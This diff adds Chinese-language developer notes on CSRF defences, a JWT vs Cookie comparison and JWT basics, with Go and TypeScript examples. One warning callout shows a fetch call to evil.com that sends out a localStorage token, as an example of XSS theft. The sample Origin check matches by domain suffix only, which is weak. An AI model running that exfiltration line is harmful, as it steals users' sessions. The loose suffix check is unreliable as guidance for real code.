if origin == "" {
|
||||
origin = c.GetHeader("Referer")
|
||||
}
|
||||
|
||||
// 验证来源是否为可信域
|
||||
if !strings.HasSuffix(origin, "example.com") {
|
||||
c.AbortWithStatusJSON(403, gin.H{"error": "invalid origin"})
|
||||
return
|
||||
}
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> [!warning] Origin 头可以被伪造吗?
|
||||
> 浏览器安全模型规定:通过代码(fetch/XHR)发起的跨域请求,`Origin` 头由浏览器自动设置,**JS 无法修改**。但某些老旧浏览器或非浏览器客户端(如 curl)可能不带 `Origin` 头,所以不能作为唯一防线。
|
||||
|
||||
### 防御方案对比
|
||||
|
||||
| 方案 | 防护强度 | 实现复杂度 | 兼容性 | 推荐度 |
|
||||
|------|----------|------------|--------|--------|
|
||||
| `SameSite=Lax` | ⭐⭐⭐ | 零成本 | 现代浏览器均支持 | ⭐⭐⭐⭐⭐ |
|
||||
| CSRF Token | ⭐⭐⭐⭐⭐ | 中等 | 全部浏览器 | ⭐⭐⭐⭐ |
|
||||
| Origin 检查 | ⭐⭐⭐ | 低 | 全部(需处理空值) | ⭐⭐⭐ |
|
||||
| 双重 Cookie 验证 | ⭐⭐⭐⭐ | 低 | 全部浏览器 | ⭐⭐⭐ |
|
||||
|
||||
> [!info] 最佳实践
|
||||
> **`SameSite=Lax` + CSRF Token** 双保险。`SameSite` 从浏览器层面阻断大部分攻击,CSRF Token 兜底处理 `SameSite=None` 或老旧浏览器的场景。
|
||||
|
||||
## 常见坑与调试技巧
|
||||
|
||||
### 1. Cookie 不生效排查清单
|
||||
|
||||
> [!warning] 遇到 Cookie "消失"了?按顺序检查
|
||||
>
|
||||
> 1. **Domain 匹配**:Cookie 的 `Domain` 必须是当前域或其父域。`localhost` 下设 `Domain=example.com` 会被忽略
|
||||
> 2. **Path 匹配**:请求路径必须以 Cookie 的 `Path` 为前缀
|
||||
> 3. **Secure + HTTPS**:`Secure` Cookie 在 HTTP 下不会被发送。本地开发用 `http://localhost` 时不要设 `Secure`
|
||||
> 4. **SameSite + 跨域**:跨站请求在 `Lax`/`Strict` 下不带 Cookie,这是预期行为
|
||||
> 5. **过期时间**:检查 `Expires`/`Max-Age` 是否已过期
|
||||
> 6. **超过大小限制**:单个 Cookie 超过 4KB 会被静默丢弃
|
||||
|
||||
### 2. 跨域 Cookie 的正确配置
|
||||
|
||||
前后端分离开发中,前端 `localhost:3000` 调后端 `localhost:8080`,需要:
|
||||
|
||||
```go
|
||||
// 后端 CORS 配置
|
||||
cors.Config{
|
||||
AllowOrigins: []string{"http://localhost:3000"},
|
||||
AllowCredentials: true, // 允许携带 Cookie
|
||||
// 不能同时用 AllowOrigins: ["*"] + AllowCredentials: true
|
||||
}
|
||||
```
|
||||
|
||||
```typescript
|
||||
// 前端配置
|
||||
axios.defaults.withCredentials = true; // 允许跨域携带 Cookie
|
||||
```
|
||||
|
||||
> [!warning] `Access-Control-Allow-Origin` 不能用 `*`
|
||||
> 当 `AllowCredentials: true` 时,`Access-Control-Allow-Origin` **不能**设为通配符 `*`,必须指定具体的源。这是浏览器安全策略的硬性要求。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[Cookie]] — Cookie 核心概念与使用方式
|
||||
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程
|
||||
@@ -0,0 +1,387 @@
|
||||
---
|
||||
tags: [JWT, Cookie, authentication, security, comparison, backend, frontend]
|
||||
create time: 2026-05-23 00:01
|
||||
---
|
||||
|
||||
# JWT vs Cookie:认证方案全景对比
|
||||
|
||||
## 概述
|
||||
|
||||
JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——**JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)**。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。
|
||||
|
||||
本文从架构、安全、工程实践三个角度,系统对比两者,并给出**组合使用的最佳实践**。
|
||||
|
||||
> [!question] 先想一个问题
|
||||
> JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。
|
||||
>
|
||||
> JWT 是一段**数据**,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种**存储和传输机制**,它可以存 JWT,也可以存 Session ID,或者任何字符串。
|
||||
>
|
||||
> 两者的关系是:**JWT 需要一个载体,Cookie 是候选载体之一。**
|
||||
|
||||
## 核心定位
|
||||
|
||||
### 层次模型
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
subgraph Transport["传输层 — 数据怎么送到服务端"]
|
||||
A["Authorization 头 — 前端手动注入"]
|
||||
B["Cookie — 浏览器自动携带"]
|
||||
C["URL 参数 — 不推荐"]
|
||||
end
|
||||
|
||||
subgraph Format["数据层 — 送的是什么"]
|
||||
D["JWT — 签名的 JSON 令牌"]
|
||||
E["Session ID — 随机 UUID"]
|
||||
F["自定义 Token — 任意字符串"]
|
||||
end
|
||||
|
||||
subgraph Storage["存储层 — 存在哪里"]
|
||||
G["localStorage — JS 可读写"]
|
||||
H["HTTP-only Cookie — JS 不可读"]
|
||||
I["内存变量 — 刷新即失"]
|
||||
J["服务端 Session Store — Redis/DB"]
|
||||
end
|
||||
|
||||
D --> A
|
||||
D --> B
|
||||
E --> B
|
||||
F --> A
|
||||
|
||||
A --> G
|
||||
A --> I
|
||||
B --> H
|
||||
E --> J
|
||||
```
|
||||
|
||||
### 概念对比
|
||||
|
||||
| 维度 | JWT | Cookie |
|
||||
|------|-----|--------|
|
||||
| **本质** | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
|
||||
| **类比** | 信件内容的格式规范 | 邮递系统(自动送信) |
|
||||
| **谁控制** | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 |
|
||||
| **数据可见性** | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
|
||||
| **标准** | RFC 7519 | RFC 6265 |
|
||||
|
||||
> [!tip] 关键区分
|
||||
> 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"
|
||||
> - **有** → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
|
||||
> - **没有** → 前端代码手动设 `Authorization` 头(JWT 或其他 Token)
|
||||
|
||||
## 安全模型对比
|
||||
|
||||
JWT + `Authorization` 头和 Cookie 的安全攻防完全不同,因为攻击面不同。
|
||||
|
||||
### 攻击面总览
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph JWT_Auth["JWT + Authorization 头"]
|
||||
direction TB
|
||||
JA1["存储位置, localStorage"]
|
||||
JA2["传输方式, 前端手动注入"]
|
||||
JA3["主要威胁, XSS 窃取 Token"]
|
||||
JA4["CSRF 风险, 低, 不自动发送"]
|
||||
end
|
||||
|
||||
subgraph Cookie_Auth["Cookie 认证"]
|
||||
direction TB
|
||||
CA1["存储位置, 浏览器 Cookie 存储"]
|
||||
CA2["传输方式, 浏览器自动携带"]
|
||||
CA3["主要威胁, CSRF 伪造请求"]
|
||||
CA4["XSS 风险, 低, HttpOnly 不可读"]
|
||||
end
|
||||
```
|
||||
|
||||
### XSS 攻防
|
||||
|
||||
XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。
|
||||
|
||||
| 方案 | 存储方式 | XSS 风险 | 说明 |
|
||||
|------|----------|----------|------|
|
||||
| JWT + localStorage | JS 可读 | **高** | 一旦 XSS 漏洞被利用,`localStorage.getItem('token')` 直接暴露 |
|
||||
| JWT + 内存变量 | JS 可读但不持久 | **中** | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 |
|
||||
| JWT + HTTP-only Cookie | JS 不可读 | **低** | `HttpOnly` 阻断 JS 访问,XSS 无法直接窃取 |
|
||||
| Session ID + HTTP-only Cookie | JS 不可读 | **低** | 同上,`HttpOnly` 是核心防线 |
|
||||
|
||||
> [!warning] localStorage 是 XSS 的"自助餐"
|
||||
> 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 `fetch('https://evil.com/?t=' + localStorage.getItem('token'))` 即可完成窃取。
|
||||
>
|
||||
> 而 `HttpOnly` Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。
|
||||
|
||||
### CSRF 攻防
|
||||
|
||||
CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。
|
||||
|
||||
| 方案 | 自动携带凭证 | CSRF 风险 | 说明 |
|
||||
|------|------------|-----------|------|
|
||||
| JWT + `Authorization` 头 | 否 | **无** | `Authorization` 头需要 JS 手动设置,浏览器不会自动加 |
|
||||
| JWT + Cookie | 是 | **有** | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 |
|
||||
| Session ID + Cookie | 是 | **有** | 需配合 `SameSite=Lax/Strict` 或 CSRF Token |
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User as "用户"
|
||||
participant SiteB as "恶意网站 B"
|
||||
participant Server as "服务端"
|
||||
|
||||
Note over SiteB: "CSRF 攻击流程"
|
||||
SiteB->>Server: "POST /transfer, Cookie 自动携带"
|
||||
Server->>Server: "Cookie 合法, 请求被处理"
|
||||
Server-->>SiteB: "转账成功"
|
||||
|
||||
Note over Server: "防御 SameSite Lax"
|
||||
SiteB->>Server: "POST /transfer, Cookie 不携带"
|
||||
Server-->>SiteB: "401 Unauthorized"
|
||||
```
|
||||
|
||||
> [!question] 为什么 `Authorization` 天然免疫 CSRF?
|
||||
> CSRF 利用的是浏览器**自动携带凭证**的行为。`Authorization` 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 `Authorization` 头。
|
||||
>
|
||||
> 但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。
|
||||
|
||||
### 综合安全评分
|
||||
|
||||
| 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) |
|
||||
|----------|--------------------|-----------------------|-----------------------------|
|
||||
| XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 |
|
||||
| CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 |
|
||||
| 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 |
|
||||
| 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 |
|
||||
| 实现复杂度 | 低 | 中 | 低 |
|
||||
|
||||
> [!info] 安全结论
|
||||
> 没有"绝对安全"的方案,只有"适合场景"的方案:
|
||||
> - 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
|
||||
> - 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
|
||||
> - 传统 Web,需即时吊销 → Session + Cookie,最成熟可控
|
||||
|
||||
## 传输与工程实践对比
|
||||
|
||||
### 传输行为差异
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant B as "浏览器"
|
||||
participant S as "服务端"
|
||||
|
||||
Note over B: "方案 A, JWT + Authorization 头"
|
||||
B->>B: "JS 从 localStorage 读取 Token"
|
||||
B->>S: "GET /api/user, Authorization Bearer xxx"
|
||||
S->>S: "解析 Authorization 头, 验签"
|
||||
|
||||
Note over B: "方案 B, Cookie 自动传输"
|
||||
B->>S: "GET /api/user, Cookie 自动携带"
|
||||
S->>S: "读取 Cookie 中的 Session ID 或 JWT"
|
||||
```
|
||||
|
||||
| 工程维度 | JWT + Authorization 头 | Cookie 自动传输 |
|
||||
|----------|----------------------|----------------|
|
||||
| **前端工作量** | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 |
|
||||
| **跨域支持** | 天然支持(手动设头即可) | 需 CORS 配置 + `credentials: "include"` |
|
||||
| **移动端兼容** | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 |
|
||||
| **负载大小** | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) |
|
||||
| **服务端开销** | CPU 验签(轻量) | 查 Redis/DB(I/O) |
|
||||
| **实时吊销** | 难(需黑名单或版本号) | 易(删 Session 即失效) |
|
||||
| **水平扩展** | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) |
|
||||
|
||||
> [!question] 为什么跨域场景倾向选 JWT + Authorization 头?
|
||||
> Cookie 的跨域需要 CORS 配置白名单、`credentials: true`、且 `Allow-Origin` 不能用通配符——配置繁琐且容易出错。而 `Authorization` 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。
|
||||
>
|
||||
> 但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。
|
||||
|
||||
### JWT 吊销策略
|
||||
|
||||
JWT 最大的工程痛点之一就是**实时吊销难**——Token 签发后在过期前一直有效。以下是常见的应对手段:
|
||||
|
||||
| 策略 | 实现方式 | 适用场景 | 代价 |
|
||||
|------|----------|----------|------|
|
||||
| **短过期 + 自动续期** | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 |
|
||||
| **Token 黑名单** | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 |
|
||||
| **Token 版本号** | 用户表维护 `token_version`,JWT payload 携带版本号,校验时比对 | 批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 |
|
||||
| **Refresh Token 轮换** | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 |
|
||||
|
||||
> [!tip] 实战建议
|
||||
> 大部分场景用 **短过期 + 黑名单** 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。
|
||||
>
|
||||
> 别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是**无状态验证**,频繁查库违背了它的设计初衷。
|
||||
|
||||
## 组合最佳实践:双令牌策略
|
||||
|
||||
真正的生产环境很少"二选一",而是**两者结合**,取长补短。
|
||||
|
||||
### 架构设计
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph Login["登录流程"]
|
||||
A["用户提交凭据"] --> B["服务端校验"]
|
||||
B -->|"成功"| C["签发 Access Token, JWT, 15min"]
|
||||
C --> D["签发 Refresh Token, UUID, 7d"]
|
||||
D --> E["Access Token 返回响应体"]
|
||||
D --> F["Refresh Token 存 HttpOnly Cookie"]
|
||||
end
|
||||
|
||||
subgraph Request["API 请求"]
|
||||
G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
|
||||
H --> I["服务端验签, 无需查库"]
|
||||
end
|
||||
|
||||
subgraph Refresh["Token 刷新"]
|
||||
J["Access Token 过期"] --> K["前端请求 refresh"]
|
||||
K --> L["浏览器自动带 Refresh Token Cookie"]
|
||||
L --> M{"Refresh Token 有效"}
|
||||
M -->|"是"| N["签发新 Access Token"]
|
||||
M -->|"否"| O["跳转登录页"]
|
||||
end
|
||||
```
|
||||
|
||||
### 各层职责
|
||||
|
||||
| 组件 | 存储位置 | 生命周期 | 职责 |
|
||||
|------|----------|----------|------|
|
||||
| **Access Token** | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 |
|
||||
| **Refresh Token** | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token |
|
||||
|
||||
> [!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?
|
||||
> - **Refresh Token 访问频率低**(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
|
||||
> - **Refresh Token 是高价值目标**,Http-only Cookie 防 XSS 比 localStorage 安全
|
||||
> - **Access Token 访问频率高**,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF
|
||||
>
|
||||
> 这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。
|
||||
|
||||
### Go 实现
|
||||
|
||||
```go
|
||||
// 签发双令牌
|
||||
func IssueTokenPair(c *gin.Context, userID uint, role string) {
|
||||
// 1. Access Token: JWT, 短期
|
||||
accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
|
||||
"sub": userID,
|
||||
"role": role,
|
||||
"exp": time.Now().Add(15 * time.Minute).Unix(),
|
||||
}).SignedString([]byte(os.Getenv("JWT_SECRET")))
|
||||
|
||||
// 2. Refresh Token: 随机 UUID, 存 Redis
|
||||
refreshToken := uuid.New().String()
|
||||
redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)
|
||||
|
||||
// 3. Refresh Token 存入 HttpOnly Cookie
|
||||
c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
|
||||
"", true, true) // Secure + HttpOnly(Gin 需手动设 header)
|
||||
|
||||
// 4. Access Token 返回响应体
|
||||
c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
|
||||
}
|
||||
|
||||
// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
|
||||
func RefreshHandler(c *gin.Context) {
|
||||
refreshToken, err := c.Cookie("refresh_token")
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
|
||||
return
|
||||
}
|
||||
|
||||
userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
|
||||
return
|
||||
}
|
||||
|
||||
// 签发新 Access Token(Refresh Token 不变)
|
||||
newAccessToken, _ := GenerateAccessToken(userID)
|
||||
c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
|
||||
}
|
||||
```
|
||||
|
||||
### React 前端
|
||||
|
||||
```typescript
|
||||
const api = axios.create({ baseURL: "/api" });
|
||||
|
||||
// 请求拦截器:自动注入 Access Token
|
||||
api.interceptors.request.use((config) => {
|
||||
const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
|
||||
if (token) config.headers.Authorization = `Bearer ${token}`;
|
||||
return config;
|
||||
});
|
||||
|
||||
// 响应拦截器:401 时自动刷新
|
||||
api.interceptors.response.use(
|
||||
(res) => res,
|
||||
async (err) => {
|
||||
if (err.response?.status === 401 && !err.config._retry) {
|
||||
err.config._retry = true;
|
||||
try {
|
||||
// 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
|
||||
const { data } = await axios.post("/api/auth/refresh");
|
||||
setAccessTokenInMemory(data.accessToken);
|
||||
err.config.headers.Authorization = `Bearer ${data.accessToken}`;
|
||||
return api.request(err.config);
|
||||
} catch {
|
||||
window.location.href = "/login"; // 刷新失败,重新登录
|
||||
}
|
||||
}
|
||||
return Promise.reject(err);
|
||||
},
|
||||
);
|
||||
```
|
||||
|
||||
> [!note] 为什么 Access Token 存内存而不存 localStorage?
|
||||
> 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。
|
||||
|
||||
## 选型决策指南
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A["选择认证方案"] --> B{"架构类型"}
|
||||
|
||||
B -->|"传统 Web SSR"| C{"需要即时吊销"}
|
||||
C -->|"是"| D["Session + Cookie"]
|
||||
C -->|"否"| E["JWT + Cookie HttpOnly"]
|
||||
|
||||
B -->|"前后端分离 SPA"| F{"安全要求"}
|
||||
F -->|"高"| G["双令牌策略 Access + Refresh"]
|
||||
F -->|"标准"| H["JWT + localStorage + Authorization 头"]
|
||||
|
||||
B -->|"移动端"| I["JWT + Authorization 头, 存内存"]
|
||||
|
||||
B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]
|
||||
|
||||
D --> D1["Redis 存 Session, 服务端可控"]
|
||||
E --> E1["浏览器自动传输, 无需前端管理"]
|
||||
G --> G1["Access Token 内存, Refresh Token Cookie"]
|
||||
H --> H1["实现简单, 注意 XSS 防护"]
|
||||
I --> I1["无浏览器 Cookie 限制"]
|
||||
J --> J1["私钥签发, 公钥验签"]
|
||||
|
||||
style D fill:#e8f4f8
|
||||
style G fill:#fde8e8
|
||||
style H fill:#fff3cd
|
||||
style I fill:#d4edda
|
||||
```
|
||||
|
||||
### 速查表
|
||||
|
||||
| 场景 | 推荐方案 | 理由 |
|
||||
|------|----------|------|
|
||||
| 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 |
|
||||
| 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 |
|
||||
| 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 |
|
||||
| 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 |
|
||||
| SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 |
|
||||
|
||||
> [!info] 没有银弹
|
||||
> 每种方案都有取舍。选型时问自己三个问题:
|
||||
> 1. **能不能接受用户 Token 在过期前无法强制失效?** → 能:JWT;不能:Session
|
||||
> 2. **前端有没有能力和意愿管理 Token 生命周期?** → 有:Authorization 头;没有:Cookie
|
||||
> 3. **架构是否需要跨域或跨服务?** → 是:JWT;否:Session 足够
|
||||
>
|
||||
> 答案组合起来就是你的最优解。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程详解
|
||||
- [[Cookie]] — Cookie 机制、属性与安全防护
|
||||
- [[SameSite 与 CSRF 防护]] — SameSite 属性与 CSRF 攻防策略
|
||||
@@ -0,0 +1,447 @@
|
||||
---
|
||||
tags: [JWT, token, authentication, security, backend]
|
||||
create time: 2026-05-02 16:30
|
||||
---
|
||||
|
||||
# JWT — JSON Web Token
|
||||
|
||||
## 概述
|
||||
|
||||
JWT(JSON Web Token, RFC 7519)是一种**开放标准**,用于在各方之间安全地传输声明(claims)。在 Web 开发中,它最常被用作无状态身份认证的载体——服务器签发一个签名的令牌,客户端在后续请求中携带该令牌来证明自己的身份。
|
||||
|
||||
> [!tip] 为什么选 JWT 而不是 Session?
|
||||
> Session 需要服务端存储用户状态,在分布式或微服务架构中必须借助 Redis 等共享存储;JWT 将所有信息打包在令牌本身,服务端只需验签即可,天然适合横向扩展的无状态场景。
|
||||
|
||||
> [!question] 思考
|
||||
> 如果 JWT 把所有信息(包括敏感数据)都打包在令牌里,那和明文 Cookie 有什么区别?
|
||||
> —— 关键差异在于 **签名机制**。JWT 附带数字签名,服务端可以验证令牌是否被篡改。但注意:默认情况下 Payload 只是 Base64 编码,并非加密!
|
||||
|
||||
## 核心结构
|
||||
|
||||
JWT 由三段 Base64Url 编码的字符串用 `.` 连接而成:
|
||||
|
||||
```
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. header (头部)
|
||||
eyJpc3MiOiJleGFtcGxlLmNvbSIsInVzZXJJZCI6NDJ9. payload (载荷)
|
||||
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c signature (签名)
|
||||
```
|
||||
|
||||
### Header — 元信息
|
||||
|
||||
声明签名算法和令牌类型:
|
||||
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"typ": "JWT"
|
||||
}
|
||||
```
|
||||
|
||||
常用算法对比:
|
||||
|
||||
| 算法 | 底层机制 | 密钥类型 | 典型场景 |
|
||||
| ----------------- | ------------------ | -------------- | -------------- |
|
||||
| `HS256` / `HS512` | HMAC + SHA-256/512 | 对称(同一密钥签名+验签) | 小型项目、快速原型 |
|
||||
| `RS256` | RSA + SHA-256 | 非对称(私钥签名,公钥验签) | 生产环境、多服务验签 |
|
||||
| `ES256` | ECDSA + P-256 | 非对称(密钥更短,性能更好) | 移动端、IoT 资源受限场景 |
|
||||
|
||||
### Payload — 声明数据
|
||||
|
||||
承载要传递的信息,分为三类标准字段和自定义字段:
|
||||
|
||||
```json
|
||||
{
|
||||
"iss": "auth.example.com", // Issuer — 签发者
|
||||
"iat": 1714627200, // Issued At — 签发时间(Unix 时间戳)
|
||||
"exp": 1714713600, // Expiration — 过期时间
|
||||
"sub": "user_42", // Subject — 主题(通常是用户 ID)
|
||||
"jti": "550e8400-e29b-41d4", // JWT ID — 唯一标识,用于防重放和黑名单
|
||||
"role": "admin", // 自定义字段
|
||||
"permissions": ["read", "write"] // 自定义字段
|
||||
}
|
||||
```
|
||||
|
||||
> [!tip] Payload 到底存什么?
|
||||
> 存的是**身份标识 + 授权上下文**——让服务端拿到令牌后能快速判断"你是谁、你能干什么",而不用每次都查库。典型内容:
|
||||
>
|
||||
> | 类别 | 字段示例 | 说明 |
|
||||
> |------|----------|------|
|
||||
> | 身份标识 | `sub`, `iss` | 谁签发的、令牌属于谁 |
|
||||
> | 时间控制 | `iat`, `exp`, `nbf` | 签发 / 过期 / 生效时间 |
|
||||
> | 授权信息 | `role`, `permissions` | 角色与权限,减少查库次数 |
|
||||
> | 防重放 | `jti` | 唯一标识,配合黑名单做一次性校验 |
|
||||
> | 业务元数据 | `tenantId`, `orgId` | 多租户场景的轻量上下文 |
|
||||
>
|
||||
> **核心原则**:存标识符和元数据,不是数据本身。密码、手机号、身份证号——通过 `sub` 对应的用户 ID 去数据库查。
|
||||
|
||||
> [!warning] 安全红线
|
||||
> **Payload 绝对不要存放密码、身份证号等敏感信息!** Base64 编码不等于加密,任何人拿到令牌都可以解码看到内容。如需保密,应使用 JWE(JWT 加密格式)或在服务端查库获取。
|
||||
|
||||
### Signature — 签名验证
|
||||
|
||||
签名确保令牌在传输过程中未被篡改:
|
||||
|
||||
```
|
||||
HMACSHA256(
|
||||
base64UrlEncode(header) + "." + base64UrlEncode(payload),
|
||||
secret
|
||||
)
|
||||
```
|
||||
|
||||
对于非对称算法(RS256),则使用私钥签名、公钥验签。这也是微服务架构中的推荐方案——只有鉴权服务持有私钥,其他服务用公钥验签即可。
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph Sign["签名阶段"]
|
||||
A[Header + Payload] --> B["HMAC(Raw string, Secret)"]
|
||||
B --> C[Signature]
|
||||
A -.-> D["最终令牌 = Header.Payload.Signature"]
|
||||
end
|
||||
|
||||
subgraph Verify["验签阶段"]
|
||||
E["收到的令牌"] --> F["提取前两段拼接"]
|
||||
F --> G["HMAC(Raw string, Secret)"]
|
||||
G --> H["本地签名"]
|
||||
I["原始签名段"] --> J{"一致?"}
|
||||
H --> J
|
||||
J -->|"是"| K["令牌合法"]
|
||||
J -->|"否"| L["被篡改"]
|
||||
end
|
||||
|
||||
Sign --> |"下发完整令牌"| Client["Client"]
|
||||
Client --> |"每次请求携带"| Verify
|
||||
```
|
||||
|
||||
## 认证流程
|
||||
|
||||
典型的 JWT 认证过程涉及四个角色间的交互:
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant C as Client
|
||||
participant S as Server
|
||||
participant DB as Database
|
||||
|
||||
C->>S: 1. POST /login (username + password)
|
||||
S->>DB: 2. 校验凭据
|
||||
DB-->>S: 3. 用户信息
|
||||
alt 凭据正确
|
||||
S->>S: 4. 生成 JWT (带 exp, iss, sub)
|
||||
S-->>C: 5. 返回 { accessToken, expiresIn }
|
||||
C->>S: 6. 后续请求带 Authorization: Bearer <token>
|
||||
S->>S: 7. 验签 + 检查 exp
|
||||
alt 令牌有效
|
||||
S-->>C: 8. 业务数据
|
||||
else 令牌无效
|
||||
S-->>C: 9. 401 Unauthorized
|
||||
end
|
||||
else 凭据错误
|
||||
S-->>C: 10. 401 Unauthorized
|
||||
end
|
||||
```
|
||||
|
||||
> [!note] Access Token vs Refresh Token
|
||||
> 实践中通常采用双令牌策略:
|
||||
> - **Access Token**:生命周期短(如 15 分钟),放在请求头中,用于访问 API
|
||||
> - **Refresh Token**:生命周期长(如 7 天),存储在 HTTP-only Cookie 中,用于换取新的 Access Token
|
||||
>
|
||||
> 这样即使 Access Token 泄露,影响范围也有限;而 Refresh Token 存放在 Cookie 中不受 XSS 直接窃取。
|
||||
|
||||
## 代码示例
|
||||
|
||||
### Go:签发与验证 JWT
|
||||
|
||||
使用 `golang-jwt/jwt/v5`:
|
||||
|
||||
```go
|
||||
import "github.com/golang-jwt/jwt/v5"
|
||||
|
||||
// 签发令牌
|
||||
func GenerateToken(userID uint, role string) (string, error) {
|
||||
claims := jwt.MapClaims{
|
||||
"sub": userID,
|
||||
"role": role,
|
||||
"iat": time.Now().Unix(),
|
||||
"exp": time.Now().Add(15 * time.Minute).Unix(), // 15 分钟过期
|
||||
}
|
||||
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
|
||||
return token.SignedString([]byte("your-secret-key"))
|
||||
}
|
||||
|
||||
// 验证令牌
|
||||
func ValidateToken(tokenString string) (*jwt.Token, error) {
|
||||
return jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
|
||||
// 确保算法符合预期,防止算法替换攻击
|
||||
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
|
||||
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
|
||||
}
|
||||
return []byte("your-secret-key"), nil
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
### Gin 中间件:JWT 认证
|
||||
|
||||
结合之前 `[[hzh/GIN/3-middleware/jwt-auth-qa]]` 讨论的模式:
|
||||
|
||||
```go
